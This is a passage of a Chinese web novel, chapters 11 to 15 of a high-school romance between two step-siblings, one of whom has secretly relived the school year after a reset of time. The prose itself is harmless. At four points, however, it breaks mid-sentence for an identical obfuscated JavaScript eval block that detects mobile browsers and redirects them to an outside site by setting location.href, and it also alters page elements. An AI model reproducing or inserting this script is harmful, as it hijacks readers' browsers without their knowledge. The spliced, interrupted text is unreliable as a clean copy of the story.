“你也是。”裴叙说,“我还记得高一那年我经常在午后去艺术楼附近散步,那时候,我几乎每天中午都会听见有人在弹《当冬夜渐暖》。” 回忆的发条落在正泛着涟漪的心脏,林予诗说:“那个人好像是我。” 林予诗语气里包含着些许不确定,她不清楚是否也有人在钢琴房里弹那首《当冬夜渐暖》。 “嗯。”裴叙说,“我知道是你,所以我故意在这个时候提起这件事。偶然有一次我路过那间琴房,在小窗那匆匆一眼,正好看见了你的侧脸。后来我知道,你每天都会在那间琴房里练琴,所以我……” “你不会每天都去了那里吧?”一万个言情小说的情节开始涌入脑海,林予诗下意识地将心中的猜测暴露在了这个夜晚里。 裴叙不说话,只是点了点头。 林予诗说完心中的猜测之后,立即就意识到了自己究竟说了些什么。不敢看向他,以至于她是通过他的影子知道他点头的。 “裴叙同学,以后有机会,我们一起去看孙燕姿的演唱会吧!”忽然又想转变话题,一个约定就这样被说了出来。 林予诗看着他的影子,在等着他的回答。半分钟后,她听见他说:“有机会的话。” “一定会有机会的。” - 杂乱的稿纸和大纲被揉搓成了废纸球,没过多久,废纸球就堆满了整个客厅里的小桌子。 学校旁边的学区 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15687671|172941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出租屋不太大,两间卧室里放不下学习的书桌,所以客厅里的小桌子便成为了两人平日里学习的地方。 这原本是个普普通通的周六,可因为写作思路的不愉快,让这个周末忽然就变得不那么轻松起来。 正当愁苦的时候,裴叙递来了一杯青柠汁。 “谢谢。”林予诗往旁边挪了一点位置,给他留了一些地方让他坐下。 在拿起那杯青柠汁的时候,林予诗才注意到,废弃的稿纸下垫了一张裴叙的数竞试卷。 慌忙的将喝了一小口的那杯青柠汁放下,玻璃杯与小桌子桌面接触时发出了一声清脆的声音,牵扯着她那时忽然漏拍的心跳:“不好意思。” 随后将上面的纸团清理干净全部丢进一旁的垃圾桶里,将试卷往他那边推了推:“没注意到你的试卷在那。” “没事。”他语气关切地说,“怎么啦,要不要休息一下?” “不太清楚,现在要做什么。”林予诗叹气,她再一次陷入进自己是否适合写作的怀疑,“又卡思路了,而且卡了三天,没办法推进下去。” “我可能,只适合写写短篇……”林予诗知道这是正常情况,却还是忍不住这么说,好像不说,心里就不畅快一样。 “怎么会?你这么厉害。”裴叙轻轻安慰,“从高一到现在的每一次考试,都能在范文墙上看见你的作文,杂志上你的笔名出现了很多次,我都数不过来。我不太明白写小说,但至少有一点我能确定,编辑来找你写长篇出版,就说明你是有这个能力的,不然编辑也不会来找你,选你的作品改长篇出版对不对?而且,你才十六岁诶,这种成就已经不小了。你的编辑,你的读者,都对你说出了认可,你要相信你自己呀,林予诗同学。” 忽然被唤了一声名字,林予诗再次察觉一阵心跳错拍的错觉。 他安慰人时候的声音,好像还挺好听的。林予诗想起了那天听见他演讲时从广播里传来的声音,那时,她还偷偷地录下了他的声音。 想什么呢,林予诗。 收回思绪,林予诗说:“谢谢你,裴叙。” “听几首歌怎么样,换换心情。”裴叙说着就将自己的手机解锁,递给了林予诗。 原以为他会用Face ID解锁,没想到他当着她的面输入了密码。 “060416”?这不是她的生日吗?是不是自己因为心跳的错拍感而看错了? 想不了太多,林予诗接过裴叙的手机,在搜索框里输入了《雨天》。前奏响起,林予诗开始努力调整自己的心跳频率。 他的手机还拿在她的手中,准备搜下一首歌,两人正一起看着手机的屏幕。 只是下一秒,手机毫无预兆的传来“叮!”的一声,是邮箱收到新邮件的信息提醒: “裴叙同学:你好!你已通过本期数竞春令营的资格筛选,请留意附件里的报到时间!” 为他的成功感到高兴,可心里却不知为何忽然跌入进五味杂陈难以形容的雨季。 她好像,是在不舍和他分开一段时间,她已经习惯了两个人一起上学放学的日子。 见她不说话,他嘴角微微上扬,打直球地说:“我要去沪市参加竞赛,不在长宜的这段时间,我会想你的。” 12.Chapter 12 是错觉吗?林予诗不知道。 自诩是恋爱情感大师的姜时月曾问过林予诗,裴叙的举动有的时候很反常,难道看不出来?姜时月还说,裴叙对你和对别人真的不一样,这就是一种赤裸裸的偏爱。 林予诗当时不明白姜时月为何会得出这个结论,于是她便问了一嘴。 姜时月当时是这么回答的:“我和江潮声讨论出来的呀!你别忘了,江潮声现在和裴叙算是兄弟,这种事情,从他那里了解到的结果,简直是毋庸置疑的。” 林予诗:“……” “姜姜啊,我觉得,你还是好好和你的江潮声帅哥多聊聊你们之间的事情,别老操心我。” 姜时月丢下一句:“当局者迷,旁观者清。” 现在这么一看,尤其是听见他那句“我会想你的”的时候,林予诗忽然就开始懂了姜时月所说的那种感觉。 但她依旧怕这她的错觉。 余下的时间不够她继续去回溯这些记忆,不够她继续去想这些问题。从他话音落下的那一刻开始算起,一直到她回话的那一秒,中间的间隔不能够太长,不然会显得很奇怪,空气也会随之陷入进莫名的气氛之中。 于是她立即找了一个新的话题:“喂!你要去沪市参加春令营的事情怎么不和我提前说,我们不是一家人吗?你不是我哥吗?” 林予诗很刻意的强调了一下那句“我们不是一家人吗”,虽然,她知道,这么说就好像是在欲盖弥彰些什么一样。 “不好意思啊,我想等结果出来了之后再告诉你的。”他未曾想到过,她会对他说出那句“我们不是一家人吗”。以此刻的身份而言,他有充足的理由去和她说这件事。就算是后面没有被春令营给录取,家人之间不存在什么空欢喜。 “不过还是很为你高兴的!”林予诗说完便拿起了手中的玻璃杯,“干杯!” 冰冷的玻璃杯轻轻碰撞,房间里传来了清脆的声响,像是心跳节拍的讯号。 “以后发生了什么事,我都会告诉你的。”裴叙喝了一口冰青柠汁,“因为我是你哥。” “嗯!” 一句承诺,更像是一道无形的防线。而在“防线”背后的那一线关系,让所有和青春期思绪有关的言语,都有了能够说出来的合适借口与名义。 - 裴叙所参加的这个数学竞赛春令营,是由长宜执礼附中和沪市中学联合举办的全国性春令营项目,旨在选拔培养数学人才。执礼附中和沪市中学轮流担任承办方,去年在执礼附中,所以今年在沪市中学。 入围春令营的名单被张贴在了学校里的公告栏上,还附带着每一位入选学生的照片。那天和姜时月一起路过公告栏的时候,林予诗不可避免地听见了一些和裴叙有关的话。 “该说不说,这个裴叙长得是真的帅!” “身高超过185的理想型!” “哎哎哎!我听说,裴叙唱歌也很好听。” “直接是校草级别的好吧!” 无法忍住自己的余光,林予诗顺着声音传来的方向看了过去,在第一秒就见到了裴叙的那张蓝底证件照。 恍然将视线收回,挽上姜时月的手臂,下意识地想要走快一点。 心领神会好姐妹的意思,姜时月什么也没说,加快了自己的步伐。 手机传来“叮咚”一声,提醒收到了一条新的信息。林予诗在教学楼楼下打开手机一看,是语文秦宋老师发来的微信:予诗,有时间吗,到办公室来一趟。 发了一条“OK”的表情回复了秦宋的信息,还没收起手机,不知道忽然从哪蹦出来了一个篮球,最后稳稳当当地落在了她的脚边。 林予诗只好停下来。 和姜时月一起抬头,林予诗忽然看到了一张陌生的脸。 “张昊?你来做什么?”姜时月将林予诗挡在了身后,语气严肃。 “真巧啊林同学,没想到在这里碰见了你。”张昊将球踩在了脚下,双手插兜。 本想说一句“我认识你?”,却没想到好姐妹直接接话:“有事说事,没事别挡道!” “没什么事,路过,路过,我们班上体育课,想吃什么吗?我下课帮你带到你们教室!” “不用!”姜时月伸出手,挡在了林予诗的身前,“不需要!” 说完,姜时月就牵着林予诗往前走了。和张昊有了一点距离之后,姜时月在林予诗耳边叮嘱:“以后再遇见隔壁班的这人,我们走远点,别理他。” 林予诗点头说好:“不过姜姜,我认识他吗?” 已经走到了二楼的楼梯间,听见林予诗的这句话,姜时月蓦然停下了脚步,“应该不算吧……他之前给你递情书的事情你忘了?” “情书?” “算了别想这事了,忘了就忘了,不是什么大事,走吧走吧。” 林予诗仔细回想了一遍,在时间线重置之前有没有发生这件事。然而无论她怎么想,却都没有印象。 因为要去办公室找秦宋老师,所以林予诗和姜时月在楼梯口说了再见。还是疑惑于这件事有没有发生过,林予诗不由地在走廊上放慢了脚步。 正当她梳理思路时,身边忽然传来了一阵“啪嗒”声。紧接着,一块白色的校牌就出现在了自己的视线里。 停下脚步,准备捡起掉落在地上的校牌,却在蹲下的那个片刻,撞见了裴叙的双眼。 “不好意思。”裴叙脱口而出。 见到面前的人是裴叙,林予诗捡起了校牌,笑着给他递了过去:“校牌戴稳一点。” 重新将自己的校牌别再衣服上,裴叙说了一声谢谢。 “你去上体育课?” “你去办公室?” 毫无预兆地同时开口,声音在一瞬间里重叠。 相视一笑,裴叙用眼神示意林予诗,让她先说。 “刚刚我和姜时月在回来的路上碰见了你们班一位叫张昊的同学,他说你们是体育课。” 张昊?他为什么会和她说上话?为什么像是认识的人一样,还说什么要上体育课之类的事情? 暂时只是在心中默默地想,裴叙接话:“我刚刚在办公室,听见了秦宋老师说要找你的事情。” 各自解释完问题的来源,便同一时间看向了走廊外,像是在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15697122|172941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 躲着什么笑。 她忽然问:“你和张昊认识吗?” 裴叙:“认识。”不但认识,上次还和他打了起来。 “有件事不知道你知不知道。”林予诗说完这句话就在心里拍了拍自己的额头,张昊送她情书的这种事情,他怎么会知道呢?自己这不是病急乱投医吗? 于是她赶紧撤回:“算了,你应该也不知道,不说了。” 裴叙“嗯?”了一声,说:“不是说好了,以后我们有事不瞒着对方嘛,我是你哥。” 想到那晚的承诺,林予诗抬头看向眼前的“哥哥”——好吧,这也没什么不好问的。 所以立即在心中措辞,说:“我听姜姜说,这位叫张昊的同学,似乎给我递过一封信。不是什么特别的事,你应该也不会清楚。” 递信?裴叙在心里画了一个大大的问号,这是什么时候的事?于是他摇头:“不清楚。” 林予诗看了一眼手机上的时间,“快要上课了,你快下去吧,晚上放学见!” 带着回忆和疑惑走下教学楼,裴叙确认,自己是真的不记得这件事了。 而后在楼下的球场上碰见了张昊,裴叙脑子里的警报忽然响起—— 我去,他不会是暗恋林予诗吧? - 轻轻敲门,听见秦宋说了一句“请进”。而后轻轻开门,再将门带上,林予诗走到了秦宋的面前。 “予诗,坐。”秦宋将一旁的小椅子拿了过来,“老师就不和你绕弯子了。”秦宋说着,便从一旁的教案下拿出了一张纸,给林予诗递了过去。 接过那张纸,只听见秦宋继续说:“学校为了加强文科发展,今年和沪市中学一起,举办了第一届作文竞赛。经过年级组的讨论,决定将高二年级学校推荐参赛的这一个名额给你。” 看见报名表的那一刻,林予诗不免地想到了那些堆积在家里和裴叙共用的那张小书桌上的废稿。老实说,除了考场作文之外,这些天里,她已经很久没有写过一篇完整的文章了。 “我试试。”虽然方才的心中正充满着不确定的没把握的感觉,想要抓住这个机会却又怕浪费掉这个机会。但在此刻,决心义无反顾地占了上风,她开始渐渐丢掉那种不确定的飘忽不定。 “好!”秦宋笑着说,“回去好好准备!第一届比赛就在长宜,不用去沪市,很方便。” “嗯!谢谢老师们的推荐!” 上课铃响起的时候,林予诗正好和秦宋交流完作文竞赛的事情。 从后门回到教室,数学老师已经在黑板上准备带着大家一起写每周的压轴题练习。将被推荐去参加作文比赛的喜悦分享给了同桌姜时月,后排座位的两人瞬间就被喜悦给包围。 就这样带着好心情,一节费脑筋的数学课很快就过去。 下课铃响起,老师按时下课,林予诗把试卷收回书包,准备等着晚上回家再自己研究研究。 就在教室变得喧闹的那个瞬间,林予诗不经意地回头看向教室的后门口,却忽然看见了匆匆赶来的裴叙。 他看着她,脸上是藏不住的笑,手里还拿着一颗柠檬味的棒棒糖。 13.Chapter 13 没想到他会在此刻出现在他们班教室的后门口,整个心脏在一瞬间里被惊喜给填满。林予诗放下了手中的数学试卷,小跑到了裴叙的眼前。 没有停留在教室后门口的门边,林予诗和裴叙正站在走廊边的栏杆旁。 “我在教务处看见你的推荐单了,知道了你被推荐参加作文比赛的事情,所以我想来找你。” 眼睛不自主地盯着他手中的棒棒糖,嘴角上扬,她说:“那你手中的这个柠檬味棒棒糖是……” “买给你的。”裴叙说着便将糖给她递了过去,“也不知道是为什么,就是突然很想买糖给你吃。” “刚好,我想吃柠檬糖了,谢谢。” “真的?” “骗人是小狗!” “好。”裴叙故意拖长了自己的尾音,一副讨好的语气。 有那么一瞬间里,林予诗觉得眼前的这人,倒还真的像一只正在摇尾巴的小狗。 “不骗人也可以是小狗。”于是心里突发奇想,林予诗接话。那时候她还在心里想,谁家的小狗会来送棒棒糖吃呀? 刚想到这,她就在心里狠狠地叹了一口气——自己好像又想到一些不能够想的东西了。 无奈,只能将这些思绪全部丢到脑后,然后在他说话之前,开始找补:“我是说……反正说的不是你。” “好——”裴叙再次拉长了自己的尾音说。 林予诗总觉得,裴叙的这句“好”里面或多或少地夹杂着些许意味深长的成分。 或许是因为一颗意料之外的柠檬味棒棒糖的到来,一整天,林予诗都是沉浸在柠檬味的分子里的。甚至,就连她卡了快一个星期的写作思路,都在傍晚散步的时候忽然灵感闪现。 姜时月正拿着ccd在一旁随意拍照,于是此刻,林予诗正自顾自地走在浅蓝色的跑道上,备忘录里就这样多出来了一大段剧情梗概。 正在打字的人,往往是不会在意自己是走还是停的,这会子,林予诗开始渐渐停了下来。 就在她彻底停在跑道上看新写的剧情大纲的瞬间,一阵风毫无预兆地从她的耳边忽然经过。 身体上的神经被那一阵风触及,所以视线自然而然地就看向了风吹来的方向。 那一秒,阳光还未躲进厚厚的云层里,还停留在操场。她就这样,在浅蓝色的跑道上,在从身后轻轻吹来的风中,看见了正被阳光触及的裴叙。 “小心一点!”裴叙站在她面前,抱着球。 也许是情况过于紧急,两人都没有注意到,此刻与彼此间的距离是那么的近。 “噢。” 后知后觉自己差点被篮球砸到,后知后觉那阵风是裴叙带来的,裴叙帮她拦下了别人不小心往她这边打的球,让她免于被球砸到。 裴叙笑了笑,说了句“放学见”,便转身回到了球场。 球场上人声嘈杂,林予诗却依旧能够听清不远处裴叙他们的交谈声。 “我去,裴叙,你认识?初恋女友啊?!” “滚一边去。”裴叙说,“我是她哥,这是我妹。” “以前怎么没听你提起过,你还有个妹妹?” “你也没问啊。”裴叙随便扯了一句话来回答。 姜时月在一旁目睹了方才发生的一切,估摸着好姐妹已经整理好了思绪和心情,便走了上去,继续挽住了她的手臂,“走吧,我们回教室写题!” 姜时月的话,将林予诗的思绪,给彻底地牵了回来。 - 春令营临近,最近的晚自习,裴叙都是在上数学竞赛课的。 第三节晚自习的那节数学竞赛课是随堂考试,写完试卷,裴叙就趴在了桌子上。兴许是中午没有午休,此刻的他,头有一点晕,只想睡觉。 这节课只剩下十五分钟的时候,老师在讲台上拍了拍手,说可以提前交卷离开了。趴在课桌上的裴叙听见了老师拍手的声音,本就没有睡得很深的他,很快就坐直了身子。同桌江潮声也在这时候写完了试卷,他眼神示意着裴叙,要不要去交试卷。 裴叙点头,两人从最后排起身,将试卷递给老师,又从后排走了。 “你先回教室吧。”裴叙说,“我要去便利店买点东西。” 江潮声点头:“对了,过两天我不在长宜,我得回县里一趟,今晚就走,能不能拜托你一件事。” “你说。” “帮我给我的小电动车在你家充个电,到时候我从县里面回来,就直接去你家取。” “OK!”裴叙收下江潮声递过来的车钥匙,将自己的试卷交给他带上去后就下了楼。 裴叙视线在便利店里的货架上游离,最后停在了那一排柠檬糖的前面。走过去,拿下一排柠檬糖,裴叙忍不住嘴角上扬,他想到了白天在她们班教室后门口,看见她朝他跑来的样子—— 忽然又想给她柠檬糖了。 看了一眼手表,还有十分钟才下课,裴叙结完账后便去了小电动车棚,提前去确认江潮声的小电车停在了什么地方。 时间刚刚好,走进教学楼往楼上走的时候,离下课还有五分钟,刚好可以走到林予诗她们班的后门口。 没有原因,忽然就很想见她。 脑海中的每一个角落,被数学占据了太久太久,似乎只有在此刻见到她,他的全部神经才能够得到放松。 每当自己很累的时候,就好想好想见到她。 终于走到了教室的后门口,距离晚自习下课,还有最后的两分钟,匆匆一眼,顿时感觉像是充满了电一样,就好像前三节课,他没有写数学竞赛题,而是舒舒服服的睡了一觉,精神焕发。 不敢怠慢,匆匆赶回到自己班的教室收拾书包。离下课还有一分钟的时候,裴叙如往常一样,走到了林予诗她们班的后门口,靠在了门边上。 大概是习惯了每次放学后的一起回家,下课铃结束之后,林予诗下意识地回头看向了教室的后门口。 透过门上的小玻璃窗,她就这样遇见了裴叙的目光。 于是很快收拾自己的书包,拿上一套刚改完的数学试卷,准备今晚找他去问问不懂的题,和姜时月说了句“明天见”,便踏着轻松的步调,直奔了教室后门那裴叙等她的地方。 “走吧,回家。” 自然地从她的手中拿过她的书包,裴叙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15704020|172941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在心里强调,这是身为哥哥对妹妹的关照。而林予诗也在心里同自己反复洗脑,她哥帮她拿书包,是兄妹之间一件再正常不过的事情了。 “给你。”揣在校服口袋里的柠檬糖终于被拿了出来,递给了想送的人,“下了课肚子饿去了趟便利店,随手拿的。” 接过柠檬糖,林予诗连忙就拆了一颗给裴叙递了过去,“好哦。” “今天我们不走路回家。”裴叙说。 “那怎么走?” 裴叙将江潮声的话同她说了一遍。 很快就在车棚里取了车,裴叙把小头盔给林予诗递了过去,“戴上。” “坐稳了没?”裴叙双脚撑地,稳定着小电动车的平衡。 林予诗坐在后边,轻轻扯了扯裴叙的衣角,“嗯”了一声。 “抓稳我。”裴叙说,“我的意思是,注意安全。” “哦。”林予诗说,“我知道。” 出租屋离学校很近,刚感受到夜风的温柔,小电动车就拐进了巷子口。 将车放在公用充电桩那充电,收好头盔,两人一前一后地进了楼梯间。 空气里湿湿的,有点闷。在两人走到一楼和二楼的转角处时,外面忽然下起了大雨。 雨声淅淅沥沥地跑入了两人的耳朵,脚步也在那一瞬间里默契般地慢了下来。 “要不要一起听听雨?”林予诗恍然想到了还未完结的小说稿,心里又变得苦恼了些许。她只想在此刻听一会雨,让自己复杂的思绪能够洗刷洗刷。 裴叙不会拒绝林予诗,于是他轻轻点头。 楼道里的灯忽然暗下,没有人说话,好像是在刻意地不让这盏灯重新亮起。但楼下的路灯灯光仍在发亮,所以此刻视线里,不是完完全全的一片漆黑的。 偶然察觉到身边的人正在悄悄靠近,于是两人停下了挪动的脚步,假装一副什么事情都没有发生的样子,继续默不作声地听着窗外落下来的大雨的声音。 如果,此生我们不是家人的关系,是不是故事发展的方向,会变得不一样?但若是这样,我是否还有机会去认识你,我们会不会是同一个平面里,永不相交的平行线? 林予诗在心里默默地想,她劝说自己,不应该去想这些的。 一次忽然之间的余光偷看,裴叙发现林予诗已经闭上了眼,于是他也轻轻地闭上了自己双眼,就这样在心里回想起了今天自己在草稿本上写的那些推测—— 时间线重置,我回到了高二那年,原先时间线上未发生的事件突然出现,原本应该要发生的事情却没有发生,这些依然没有影响我们之间现在的所有事情,我们之间的关系也并没有发生翻天覆地的变化,是不是也就意味着,一切都重新开始。 而我,能够在此刻的时间线里,再对你说一句:“好喜欢你”。 如果,你的时间线也被重置,回到十六岁那年,回到我们相遇的那个春天,那该多好。 若是这样,我们也不会在春天樱花落下的那个瞬间,如从未认识过的陌生人一样,对着彼此重新介绍自己。 可惜你没有。 回到高二这年的,只有我一个人。 14.Chapter 14 裴叙是在什么时候回到高二这年的呢?准确一点来说,每次都是在搬家的前两天。 是的,这并不是他第一次回到高二这年,但每一次回到高二这年的开端都是一样的。 那天早上,从昏迷中睁开双眼,裴叙发现自己正躺在卧室的床上。环顾四周,却发现是在自己的家中,而不是在学校旁的出租屋中。 “近日,一条‘如何回到过去?’的BE短篇小说在网上引起了众多读者的共鸣……” 昏迷时的那种晕眩感还未完全散去,在与怎样褪去睡意的较量与恍惚中,裴叙隐隐约约地听见了楼下收音机里传来的那断断续续的声音。 住在隔壁那栋别墅的夫妇,都是执礼大学的教授,夫妻俩都姓“时”,大家都叫他们“时老师”。时先生在物理系,时女士在心理学系。时老师夫妇平常喜欢晨练,尤其愿意在晨练时打开收音机听新闻。无论时什么频道的、什么类型的新闻,他们都听。 于是赶紧下床,到书桌前,拨开窗帘。毫无防备地被外面的阳光刺到了双眼,裴叙下意识地伸手去挡了挡自己的视线。低头看向书桌,却一眼就看见书桌上面堆满了自己的数学草稿纸。 那条来自收音机里的声波忽然在脑海中回响,裴叙赶忙往楼下的空地上查看了好一会,却没有看见任何人的出现。甚至,没有瞧见那台经常看见的播新闻的收音机的影子。 所以他立即穿好衣服,抓着书桌上的手机就跑下了楼。 在自家的门外,依旧没有看见时老师夫妇的身影和那台收音机,裴叙赶紧跑到了他们家的门前敲门。 “咚咚咚!” 敲了三声,里面没有传来接应的声音。 正当他刚回头准备回家的时候,时女士却忽然出现在了视线里。 “小裴!”时老师朝裴叙招了招手。 “时老师。”裴叙走上前去,“您才回来吗?” “对啊。”时老师说,“遛狗去了,怎么了,是找我有什么事情吗?” “我刚刚在楼上还以为您在楼下锻炼呢,我想着和您一起,没想到没找到您。” “锻炼?”时老师说,“小裴啊,我很久都没有和老时一起在院子里面锻炼了,最近我都在家里练瑜伽。” 听到时老师的回答,裴叙在心里皱眉:“那可能是我听错了,做梦呢。” 于是他故作尴尬一笑,“那您忙,我回去了。” “诶。”离开前,时老师叫住了他,将原先拿在手里的报纸给他递了一份,“多买了一份报纸,拿着,回去可以当消遣的读物看看。关于数学,也关于物理,还有文学。如果你要是感兴趣的话,可以在有时间的时候,到执礼大学来找我和时老师讨论讨论。” “谢谢时老师!” 说完再见,拿着那份报纸,裴叙走进了自家的家门。将报纸先放在了书桌上,裴叙准备打电话给江潮声,叫他出来一起吃饭。只是在通讯人员名单里找了很久,裴叙都没有找到江潮声的名字。 或许是自己某一天在口袋里误触手机,将他的联系人信息给删了?好在他记性还不错,对数字比较敏感,对于别人的电话号码,他几乎能够做到过目不忘。 于是他很快就在拨号的界面输入了江潮声的电话号码,点按了拨通键。 “对不起,您拨打的号码是空号……” 疑惑弥漫在心中,再次拨打号码,依旧是空号音。 怀疑是自己手机的问题,裴叙选择拨出林予诗的电话号码作为实验,看看拨打她的号码,是否还有问题。 熟练的找到了“收藏联系人”的位置,按下了存在里面的唯一号码。 这一次,对面没有传来空号音或者是忙音,电话很快就被接通,裴叙下意识地喂了一声。 在心中默数十五秒,依旧没有听见林予诗的声音,于是裴叙直接呼唤了一声林予诗的名字,电话那边开始传来“滋滋”的电流声。 只是不知为何,这一次,在呼唤完她的名字之后,自己的头忽然就疼了起来。 脑海中接连闪过了无数帧的模糊画面,很多很多,头疼的感觉也愈发的明显。 硬生生地扛着剧烈的头痛,裴叙紧闭着眼睛,一点点地拼凑着那些模糊的一帧又一帧。 终于,头疼的感觉在电话结束的那一刻消失,滋滋电流声的不见,让他从那种剧烈的疼痛感中脱身,彻底明白了此刻的时间线。 说实在的,在刚醒来的那一瞬间里,裴叙没有很快地想起一些记忆,以至于他那时还以为自己是在高考之后的那个暑假的某一天里。而现在,他在回溯中确认自己回到了高二这年。 如果一切都重来的话…… 很多事情都能够因为带着记忆而有预判,所以…… 也不对,裴叙在心里摇头——他不敢贸然行动什么,怕一时的行动,影响后面故事的发展,没有按照原先的轨迹,出现偏差。 所以,面对现在的一切,最好的办法就是先按照时间线重置之前发生过的事情再来一遍。只是遇到某些事情的时候,去适当地做出一些隐性的提醒。 点开自己手机的备忘录和日历,确认近期事项是什么,好让他判断自己接下来要做些什么。 只是刚点开备忘录,他就看见了自己置顶的内容: “如果一切能够被重置,如果时间能够开始倒退,回到原点,或是回到我们相遇的那天,你是否会在见到我的那一瞬间,在心中划过一丝我们是不是在哪见过的熟悉感觉。” “不管接下来的故事会是如何,我确定,如果我们能够再次遇见,我会在心里对你轻轻地说一句‘久别重逢,跨越时间线,好久不见’。” 他记得,这是他在时间线重置之前的某天放学后,和林予诗一起在城市观景列车上聊天时,在备忘录上写下的话。 这条备忘录上的内容居然和自己一起回来了?真是神奇。 好吧,时间线重置的这件事,本身就是一件很神奇的事情。 所以,他按照原先的已经发展过的轨迹,去搬家,和她成为一家人。他知道,自己和她成为家人之后的第一次遇见,会是在出租屋的楼道里;他知道,那天下午会下雨,他会和时间线重置之前那时一样,给她递伞,和她一起撑着伞经过浅蓝色的跑道;他知道,他会和她在樱花树下拍一张照片,还是她主动提起的。 只是他没想到,在搬家前,他会偶然遇见她在教室里面因为低血糖晕倒;他没想到,自己会和她在那天周五的晚上一起看了三部 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15709776|172941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 电影;他更没想到,会出现一个人给她送信。 但他为什么会回来呢? 恍然之间出现了错觉,像是被来自心底的某种信念所牵引了一样。 裴叙不知道答案,也找不到原因,只是觉得现在这样就很好。 刚回来的那几天,他不敢睡觉,他怕自己醒来之后,就不是在此刻的时间线上了。他也害怕,意识里理解的时间线其实是一场梦,醒来就会消失。 好在,接连两天睡醒,自己都还是在高二的这条时间线上的。 那时候他便在心里再一次完全确定,回到高二这件事不是梦,时间线是真的被重置了。 最近,他后知后觉,很多事其实已经没有按照原本的时间线发展了,出现了改变。无非,只是他们之间此刻的发展轨迹,没有出现大体上的改变而已。 所以他在反复地想,一些事至今都没有出现和发生,是不是也就意味着那些事有可能不会再发生。是不是也会有这样的一种可能,他们彼此之间的关系发展会按照时间线重置之前的轨迹发展,中间的某些事情不会出现,依旧不会影响他们之间的故事? 窗外的雨声还没有停下,不再继续闭着双眼,裴叙转头看向站在自己身边的林予诗。 却没想到,自己刚好撞上了她的视线。 她也睁开了双眼,朝他在的地方看了过来。 “我们回家吧。”林予诗和裴叙的声音在空荡的楼梯间里同时响起,原本暗下来的感应灯在此刻亮起。于是,不用借着楼下微弱的路灯灯光,他们更加看清了彼此眼中的世界。 异口同声的默契,让脸上的笑意变得无法被掩藏。 而后他主动牵上了她书包的手提带子,说:“走吧,带我回家。” 像是在撒娇,林予诗知道,自己从来无法拒绝小狗,好像也无法拒绝裴叙,于是她开玩笑的说:“干嘛,自己不能走吗?” “好困,走不动啦。”裴叙开始了演戏,“你就带我走呗,姐姐。” 林予诗:“?” 有没有搞错,你是我哥诶,哪有哥哥把妹妹叫做姐姐的? 林予诗说:“我怀疑你是真的困晕了!” 裴叙反问:“所以你认可我是你哥了?” 林予诗问:“我有否认过这件事情吗?” 裴叙回答:“在我的记忆中是没有的。” 林予诗问:“所以你为什么要这么问?” 裴叙再答:“心里突然想出来的而已。” 楼道里的窃窃私语没有人会听见,只有他们自己知道。 下意识地默契推开因为接连追问和回答而凑近的距离,两人就这样假装什么事情都没发生、心里一片风平浪静的样子,心虚地看向头顶的灯。 就这样,他们一起看见了楼梯间里的灯暗下来的时刻。于是视线里重新变得漆黑起来,双眼重新开始适应着楼下路灯传来的微弱的光。 转身往前走,林予诗没有推开他牵着她书包的手,他跟着她的轨迹,往前走,就像是走进了往后的时间里。 他知道,他不会放开她的手。 无论是时间线重置之前的过去,还是时间线重置之后的现在。 从始至终的,她是他的唯一。 15.Chapter 15 阶段考来得很突然,这场联考是临时组建的,学生们收到通知的时候,离考试就只剩下两天了。 考完阶段考,离裴叙数竞春令营和林予诗的写作春令营,也就不远了。只是时间一拖再拖,春令营都快变成了夏令营。 为了应对突如其来的考试,林予诗这两天停止了写作,还熬了两场夜,为的就是梳理政治的知识点和思维导图。 不过,漆黑的夜晚倒不是一个人,无论自己背书背到多晚,她总能看见裴叙的身影在她的旁边。 她在做思维导图,他在写数学;她在写英语,他在写数学;她在写物理,他还在写数学。如果说,这辈子能够遇见很多很多喜欢数学的人,那裴叙一定会是里面最最最最喜欢的那一个。 她从来都没有见过,一个人能对数学,展现出如此的几近痴迷的追求。 阶段考的两天一晃而过,成绩出来的很快,秉持着试卷不隔夜的态度,考完的第二天,成绩就公布了。 成绩单下发,看见自己的数学有了还不错的提升,林予诗在心里重重地感谢了一下自己。 